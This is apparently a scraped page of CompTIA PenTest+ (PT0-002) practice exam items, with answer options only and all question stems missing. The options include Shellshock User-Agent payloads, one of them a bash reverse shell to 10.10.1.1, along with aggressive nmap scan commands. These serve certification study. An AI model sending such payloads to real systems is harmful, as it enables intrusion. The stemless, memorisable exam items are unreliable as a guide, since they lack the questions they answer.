최신CompTIA PenTest+ Certification - PT0-002무료샘플문제

A. Old, insecure ciphers are in use.

B. 2,048-bit symmetric keys are incompatible with MD5.

C. This server should be upgraded to TLS 1.2.

D. The 3DES algorithm should be deprecated.

A. Copying the file on a USB drive and delivering it by postal mail

B. Asking for a PGP public key to encrypt the file

C. Creating a link on a cloud service and delivering it by email

D. Requiring FTPS security to download the file

A. Single quote mark

B. Semicolon

C. Colon

D. Double quote mark

A. exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}

B. exploits = {"User-Agent": "() { ignored;};/bin/sh -i ps -ef" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}

C. exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}

D. exploits = {"User-Agent": "() { ignored;};/bin/bash -i id;whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}

A. Symlink

B. Catalog

C. Directory

D. Dictionary

E. For-loop

A. The remoteSvr variable has neither been type-hinted nor initialized.

B. Line 6 uses socket.SOCK_STREAM instead of socket.SOCK_DGRAM

C. sock.settimeout(20) on line 7 caused each next socket to be created every 20 milliseconds.

D. *range(1, 1025) on line 1 populated the portList list in numerical order.

A. The application has the API certificate pinned.

B. TCP port 443 is not open on the firewall

C. The tester is using an outdated version of the application

D. The API server is using SSL instead of TLS

A. The sys module was not imported.

B. The argv variable was not defined.

C. The argv module was not imported.

D. The sys variable was not defined.

A. End users have root access by default.

B. Device log facility does not record actions.

C. Push notification services require internet.

D. Unsigned applications can be installed.

A. Interview all stakeholders.

B. Clarify the statement of work.

C. Obtain an asset inventory from the client.

D. Identify all third parties involved.

A. Poor input sanitization

B. Use of deprecated Javadoc tags

C. Use of non-optimized sort functions

D. Non-compliance with code style guide

E. A cyclomatic complexity score of 3

F. Null pointer dereferences

A. sudo nmap -sF -script=* -e ethO

B. sudo nmap -sV -sT -p 0-65535 -e ethO

C. sudo nmap -sV -p 0-65535 0.0.0.0/0

D. sudo nmap -script=bro* -e ethO

A. The company's website is hosted at 120.73.220.53.

B. The company.com record can be cached for five minutes.

C. mxc.company.com is the preferred mail server.

D. The nameservers are not redundant.